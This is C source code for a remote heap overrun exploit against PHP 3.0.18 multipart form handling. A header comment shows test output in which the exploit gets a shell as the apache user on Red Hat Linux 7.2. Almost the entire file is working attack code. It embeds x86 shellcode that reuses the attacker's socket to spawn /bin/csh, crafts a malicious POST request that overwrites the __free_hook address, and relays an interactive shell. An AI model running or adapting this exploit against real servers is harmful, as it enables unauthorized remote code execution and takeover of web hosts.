/*PHP 3.0.18 / heap overrun remote exploit programmed by hsj : 02.03.05 [hsj@trinity php]$ ./php3018_exp 192.168.0.3 80 /hoge.php Warning: no access to tty (Bad file descriptor). Thus no job control in this shell. %id uid=48(apache) gid=48(apache) groups=48(apache) % test on Red Hat Linux release 7.2 (Enigma) by xundi@xfocus.org [root@test72 xundi]# uname -a Linux test72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown apache-1.3.23 + php-3.0.18,slight modify ;( Thanks to maxi,dove. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/time.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #define LBUF_ADDR 0xbfffbdac /* lbuf addr mean shellcode addr here*/ #if 1 #define REWRITE_ADDR 0x4024fa80 /* __free_hook addr */ #else #define REWRITE_ADDR 0x40457f0c /* GOT entry of free after libphp3.so relocating */ #endif #define OFFSET (544 - 16) /* lbuf to sbuf header */ #define BUFLEN 1024 char shellcode[] = "\xeb\x39\x5e\x8d\x46\x0c\x89\x46\x04\x89\xc7\x8d\x46\x1c\x89\x46" "\x08\x31\xdb\xb3\x10\x89\x18\x31\xc9\xb1\xff\x31\xc0\x89\xca\x89" "\x0e\xb0\x66\xb3\x07\x89\xf1\xcd\x80\x89\xd1\x85\xc0\x75\x08\x66" "\x81\x7f\x02\x34\x12\x74\x06\xe2\xe2\xeb\x45\xeb\x4a\x89\xcb\x31" "\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\xc7\x06\x2f" "\x62\x69\x6e\xc7\x46\x04\x2f\x63\x73\x68\xc7\x46\x0c\x2d\x69\x41" "\x41\x89\x76\x10\x8d\x46\x0c\x89\x46\x14\x8d\x4e\x10\x8d\x56\x18" "\x31\xc0\x89\x02\x89\x46\x08\x88\x46\x0e\x89\xf3\xb0\x0b\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x76\xff\xff\xff"; int make_connection(char *address,int port) { struct sockaddr_in server,target; struct hostent *host; int s,i,bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; memset((char *)&server,0,sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = 0; if(bind(s,(struct sockaddr *)&server,sizeof(server))<0) { close(s); return -2; } target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==-1) { host = gethostbyname(address); if(host==0) { close(s); return -3; } memcpy(&(target.sin_addr),*(host->h_addr_list),host->h_length); } target.sin_port = htons(port); bf = 1; ioctl(s,FIONBIO,&bf); tv.tv_sec = 30; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { close(s); return -4; } if(i==0) { close(s); return -5; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i); if((bf!=0)||(i!=sizeof(int))) { close(s); errno = bf; return -6; } ioctl(s,FIONBIO,&bf); return s; } int sh(int in,int out,int s) { char sbuf[128],rbuf[128]; int i,ti,fd_cnt,ret=0,slen=0,rlen=0; fd_set rd,wr; fd_cnt = in > out ? in : out; fd_cnt = s > fd_cnt ? s : fd_cnt; fd_cnt++; for(;;) { FD_ZERO(&rd); if(rlen<sizeof(rbuf)) FD_SET(s,&rd); if(slen<sizeof(sbuf)) FD_SET(in,&rd); FD_ZERO(&wr); if(slen) FD_SET(s,&wr); if(rlen) FD_SET(out,&wr); if((ti=select(fd_cnt,&rd,&wr,0,0))==(-1)) break; if(FD_ISSET(in,&rd)) { if((i=read(in,(sbuf+slen),(sizeof(sbuf)-slen)))==(-1)) { ret = -2; break; } else if(i==0) { ret = -3; break; } slen += i; if(!(--ti)) continue; } if(FD_ISSET(s,&wr)) { if((i=write(s,sbuf,slen))==(-1)) break; if(i==slen) slen = 0; else { slen -= i; memmove(sbuf,sbuf+i,slen); } if(!(--ti)) continue; } if(FD_ISSET(s,&rd)) { if((i=read(s,(rbuf+rlen),(sizeof(rbuf)-rlen)))<=0) break; rlen += i; if(!(--ti)) continue; } if(FD_ISSET(out,&wr)) { if((i=write(out,rbuf,rlen))==(-1)) break; if(i==rlen) rlen = 0; else { rlen -= i; memmove(rbuf,rbuf+i,rlen); } } } return ret; } int main(int argc,char *argv[]) { int sock,i,len,buflen; struct sockaddr_in si; char data[8192],buf[4096],buf2[2048]; if(argc<4) { fprintf(stderr,"usage :$ %s server-address port-no php-path\n",argv[0]); exit(0); } sock = make_connection(argv[1],atoi(argv[2])); if(sock<0) { fprintf(stderr,"can not connect to %s.\n",argv[1]); exit(-1); } i = sizeof(struct sockaddr_in); if(getsockname(sock,(struct sockaddr *)&si,&i)==-1) { perror("getsockname"); exit(-2); } shellcode[51]=(unsigned char)((si.sin_port>>0)&0xff); shellcode[52]=(unsigned char)((si.sin_port>>8)&0xff); for(i=0;i<sizeof(buf2);) { buf2[i++] = 0xeb; buf2[i++] = 0x04; } buf2[0] = 0xeb; buf2[1] = 0x06; *(unsigned int *)&buf2[OFFSET-6] = 0x41414141; buf2[OFFSET-2] = 0xeb; buf2[OFFSET-1] = 0x08; *(unsigned int *)&buf2[OFFSET+0] = LBUF_ADDR; *(unsigned int *)&buf2[OFFSET+4] = REWRITE_ADDR; *(unsigned int *)&buf2[BUFLEN-strlen(shellcode)-4] = 0x41414141; memcpy(buf2+BUFLEN-strlen(shellcode),shellcode,strlen(shellcode)); buf2[BUFLEN] = 0; strcpy(buf,"--__THIS_IS_BOUNDARY__\r\n"); strcat(buf,"Content-Disposition: form-data; name=\""); strcat(buf,buf2); strcat(buf,"[]\"; filename=\"hoge\";\r\n\r\nhoge\r\n"); strcat(buf,"--__THIS_IS_BOUNDARY__\r\n"); memset(buf2,0x41,sizeof(buf2)); buf2[BUFLEN-512-1] = 0; strcat(buf,"Content-Disposition: form-data; name=\""); strcat(buf,buf2); strcat(buf,"\"; filename=\"fuga\";\r\n\r\nfuga\r\n"); strcat(buf,"--__THIS_IS_BOUNDARY__\r\n"); buflen = strlen(buf); /* nice! this is exploitable!!!1192 */ len = sprintf(data,"POST %s HTTP/1.1\r\n" "Content-Type: multipart/form-data; boundary=__THIS_IS_BOUNDARY__\r\n" "Host: %s\r\n" "Content-Length: %d\r\n\r\n%s",argv[3],argv[1],buflen,buf); write(sock,data,len); sh(0,1,sock); shutdown(sock,2); close(sock); return 0; }